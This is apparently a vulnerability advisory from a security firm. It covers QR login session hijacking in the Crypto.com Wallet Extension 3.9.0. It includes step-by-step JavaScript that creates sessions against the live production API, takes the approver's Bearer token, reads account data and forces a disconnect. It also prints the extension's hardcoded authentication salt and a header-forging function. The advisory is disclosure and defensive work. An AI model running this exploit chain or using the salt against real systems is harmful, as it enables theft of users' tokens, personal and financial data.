← Advisories
HIGHRDXS-2026-003

QR Login Session Hijacking in Crypto.com Wallet Extension

Unauthenticated QR session creation and missing creator/scanner binding allow an attacker to steal the approver's Bearer token and access account data.

Product

Wallet Extension

Version

3.9.0

Vendor

Crypto.com

Published

2026-03-10

0

Critical

2

High

2

Total

Background

The Crypto.com Wallet Extension (v3.9.0, Chrome Manifest V3) supports linking to the Crypto.com mobile app via a QR-based authentication flow. The user scans a QR code displayed in the extension with the Crypto.com App, approves the connection, and the extension receives a Bearer token scoped to the approver's account.

This audit examined the trust boundaries in the QR session lifecycle: who can create sessions, how token issuance is bound to the approving party, and what data the resulting token can access. The backend API at ex-wallet.crypto.com was tested against the researcher's own Crypto.com account on live production infrastructure.

The core question: can an unauthenticated party create a first-party login QR code and steal the approver's access token?

Methodology

The Wallet Extension package (hifafgmccdpekplomjjkcfgodnhcellj) was decompiled and analyzed statically. The QR session creation flow, client authentication mechanism, and token exchange protocol were traced through the extension's bundled JavaScript source.

A hardcoded authentication salt was extracted from the extension source. This salt, combined with a timestamp, UUID, and client name, is the only credential required to authenticate API requests to the backend. Using this salt, the full attack chain was reproduced end-to-end on the live production server against the researcher's own account on 2026-03-10.


Critical Findings

1. Unauthenticated QR session creation enables account data theft

CWE-306 / Missing Authentication

The QR-based authentication flow for linking the Crypto.com App to the Wallet Extension has three compounding defects that chain into full account data theft:

  1. Missing creator authentication. The POST /extension/ncw-api/api/cdc/authnz/v1/qr-sessions endpoint creates real login sessions without requiring any user authentication — only a shared client-auth token extractable from the extension source.
  2. Missing creator/scanner binding. After the scanner approves, the server issues an access token to the session creator (attacker), not bound to the scanner's identity.
  3. Insufficient approval context. The Crypto.com App's approval prompt displays attacker-controlled session metadata (e.g., origin_ip) rather than a server-verified origin or device identity, providing no reliable anti-phishing signal.

This is not ordinary QR phishing. The backend itself allows an unauthenticated party to mint a first-party login QR code that yields the approver's access token to the session creator. The attacker generates a QR code, the target scans it with the Crypto.com App, and the attacker receives a CDC-Authorization Bearer token scoped to the approving account.

The attack chain proceeds in five steps:

Step 1 — Create QR session (no user authentication)

// Attacker generates a throwaway ETH wallet — no Crypto.com account needed
const wallet = ethers.Wallet.createRandom();

const res = await fetch(
    'https://ex-wallet.crypto.com/extension/ncw-api/api/cdc/authnz/v1/qr-sessions',
    {
        method: 'POST',
        headers: createAuthHeaders(), // salt-based, no user auth
        body: JSON.stringify({
            ott: crypto.randomBytes(32).toString('hex'),
            origin_ip: '127.0.0.1',        // attacker-controlled
            origin_ip_region: 'US',          // attacker-controlled
            user_agent: 'Crypto.com Wallet Extension 3.9.0',
            metadata: { eth_addr: wallet.address }
        })
    }
);
// Returns 201 with real session_id and QR code

Step 2 — Present QR to target

// Server returns QR string in the legitimate extension format:
ncw-extension-login|1|0|https://uc.crypto.com/v1/public/scan|<session_id>

// Indistinguishable from a real Wallet Extension QR code.
// Crypto.com App recognizes this format via Settings > QR scanner.

Step 3 — Poll session status using attacker's ECDSA signature

const payload = { eth_addr: wallet.address, session_id };
const signed = signData(payload, wallet.privateKey);

// Session transitions: initialized → claimed → confirmed
const status = await fetch(
    'https://ex-wallet.crypto.com/.../authnz/v1/public/qr-sessions',
    { method: 'POST', headers: createAuthHeaders(), body: JSON.stringify(signed) }
);

Step 4 — Exchange for victim's access token

const token = await fetch(
    'https://ex-wallet.crypto.com/.../authnz/v1/oauth2/token',
    { method: 'POST', headers: createAuthHeaders(), body: JSON.stringify(signed) }
);
// Returns: { ok: true, access_token: "...", token_type: "Bearer", scope: "ncw_api" }

Step 5 — Read victim's account data

const headers = { ...createAuthHeaders(), 'CDC-Authorization': `Bearer ${stolen_token}` };

// All return 200:
await fetch('.../api/cdc/oauth/token/info', { headers });       // email, user UUID
await fetch('.../cdc/api/viban/account/summary', { headers });  // fiat balances
await fetch('.../cdc/api/credit_cards', { headers });           // saved cards
await fetch('.../cdc/api/entity', { headers });                 // account region

// Destructive write:
await fetch('.../api/cdc/external_application_account/disconnect', {
    method: 'POST', headers,
    body: JSON.stringify({ application_type_id: 'ncw' })
});
// Returns: { ok: true, code: 0 } — severs App-Extension connection

Impact

An attacker with no Crypto.com account can generate a valid first-party login QR code, wait for a target to scan it, and receive a Bearer token scoped to the target's account. This token provides read access to account email, user UUID, fiat wallet balances, saved payment cards, account region, personalized rate tiers, and purchase limits. The token also enables a destructive write: forcibly disconnecting the target's Crypto.com App from their Wallet Extension.

Mitigation

QR session creation must require proof of a legitimate, authenticated extension instance — such as a device-bound credential provisioned during wallet setup. The token exchange must bind issuance to the account that scanned and approved the QR code, not to the session creator. The mobile app approval prompt must display server-verified session context rather than attacker-controlled fields.


Supporting Finding

2. Hardcoded API authentication salt enables request forgery

CWE-798 / Hardcoded Credentials

The Wallet Extension ships with a hardcoded salt used to generate API authentication headers for all requests to ex-wallet.crypto.com:

Extracted from extension source

// assets/SuiNetworkSwapActivity-DSjOZKzV.js
assert$K("w4FLQbMAWzsBTEJyFZ4_6CGF",
    "Environment variable 'APP_TOKEN_SALT' is not set!");

// createAuthHeaders generates tokens from this salt:
function createAuthHeaders() {
    const salt = "w4FLQbMAWzsBTEJyFZ4_6CGF";
    const clientName = "Wallet-Extension";
    const timestamp = Date.now().toString();
    const uuid = crypto.randomUUID();
    const token = sha256(clientName + timestamp + uuid + salt);
    return {
        "Client-Name": clientName,
        "Client-Request-Time": timestamp,
        "Client-Request-ID": uuid,
        "Client-Request-Token": token
    };
}

This is a shared secret visible to anyone who inspects the extension. It provides no real authentication — any party can generate valid headers. This salt is the prerequisite for Finding 1: without it, the attacker cannot create QR sessions or exchange tokens.

Impact

Anyone can impersonate the Wallet Extension to the Crypto.com backend. The salt is used for all NCW API calls, StargateClient connections, and JSON-RPC provider requests. It is the sole gatekeeper for the QR session creation endpoint.

Mitigation

Replace the shared client-auth token with a per-instance credential provisioned during extension setup. Client-side secrets in browser extensions provide no authentication value and should not gate session creation for critical flows.


Confirmed Evidence

All testing was performed on 2026-03-10 against the live production server using the researcher's own Crypto.com account. No third-party accounts were accessed.

QR session creation — 201

{
  "qr": "ncw-extension-login|1|0|https://uc.crypto.com/v1/public/scan|[REDACTED-SESSION-ID]",
  "session_id": "[REDACTED-SESSION-ID]",
  "expiry": "2026-03-10T10:45:19.136538379Z"
}

Session status polling — initialized to confirmed

Poll 1-8:  initialized
Poll 9:    initialized → claimed    (researcher scanned QR with own Crypto.com App)
Poll 10-N: claimed → confirmed      (researcher approved in app)

Token exchange — 200

{
  "ok": true,
  "code": 0,
  "data": {
    "ok": true,
    "access_token": "[REDACTED]",
    "token_type": "Bearer",
    "scope": "ncw_api",
    "created_at": 1773139452
  }
}

Token info — victim email and user UUID

{
  "ok": true,
  "data": {
    "resource_owner_id": "[REDACTED-UUID]",
    "resource_owner_email": "[REDACTED]",
    "scope": ["ncw_api"],
    "created_at": 1773139452
  }
}

Fiat wallet — balances and ViBAN accounts

{
  "account": {
    "balance": { "currency": "USD", "amount": "0.00" },
    "viban_types": [
      { "type": "van", "name": "USD (ACH)", "currency": "USD", "state": "pending_submit" },
      { "type": "uk_fps", "name": "GBP (FPS)", "currency": "GBP" }
    ]
  }
}

Confirmed Endpoints

Eight endpoints returned 200 with confirmed impact using the stolen token. All tested on 2026-03-10.

Data Reads (Confidentiality)

DataEndpointEvidence
Account email + user UUID/cdc/oauth/token/infoEmail and UUID returned
Fiat wallet balances/cdc/api/viban/account/summaryBalance, ViBAN types, fee history
Credit cards access/cdc/api/credit_cards200 OK (test account had no saved cards)
Account region/cdc/api/entityEntity ID and name returned
Personalized rate tiers/cdc/api/live_rates/tiersBTC/USD rates with tiered pricing
Purchase limits/cdc/api/defi_purchase/limits200 OK
Purchase thresholds/cdc/api/defi_purchase/thresholds200 OK

Destructive Write (Integrity + Availability)

ActionEndpointEvidence
Force-disconnect App from ExtensionPOST /external_application_account/disconnect{ ok: true, code: 0 } — severed connection

The disconnect endpoint is particularly impactful: the attacker can forcibly sever the connection between the target's Crypto.com App and their Wallet Extension, disrupting purchase and bridging features until the target manually re-links.

Order creation (/cdc/api/defi_purchase/orders/create) is also accessible via this token but requires a passcode (2FA) for confirmation, so direct financial theft via purchase orders was not confirmed.


Root Cause

The two findings share a single systemic root cause: the QR login flow treats session creation as a low-privilege operation, but the token issued after approval grants access to the approver's account data.

The session creator is trusted as the token recipient. In practice, this means:

  1. Anyone with the extension source can create QR login sessions — no Crypto.com account required
  2. The server issues the Bearer token to whoever created the session, not to the account that approved it
  3. The mobile app cannot distinguish attacker-created sessions from legitimate ones because it displays attacker-controlled metadata
  4. The resulting token grants read access to PII, financial data, and a destructive write capability

The hardcoded salt (Finding 2) is the enabler: it provides the client-auth headers needed to call the session creation endpoint. But even with a rotated salt, the missing creator/scanner binding means the fundamental trust model is broken — the party that creates the session should not automatically receive the approver's token.


Remediation

  • Require authenticated session creation. QR session creation should require a device-bound credential provisioned during wallet setup, not a shared client-auth token extractable from the extension source.
  • Bind token issuance to the scanner. The token exchange must verify that the session creator and the scanner belong to the same user, or issue the token exclusively to the account that scanned and approved the QR code.
  • Display server-verified session context. The Crypto.com App approval prompt should display server-verified information (e.g., extension's registered device name, wallet creation date) instead of attacker-controlled fields like origin_ip.
  • Rotate the hardcoded salt. Replace APP_TOKEN_SALT with a per-instance credential. Client-side secrets in browser extensions provide no authentication value and should not gate critical flows.

Disclosure

We work with Crypto.com and all vendors we research, and inform them before publishing. All testing was performed against the researcher's own Crypto.com account on the live production server. No third-party accounts were accessed or affected.

The findings affect the Crypto.com Wallet Extension version 3.9.0 (Chrome, Manifest V3) and the backend API at ex-wallet.crypto.com. Other versions and platforms were not tested.

Redeux Security

48-hour adversarial security audits for startups and scale-ups.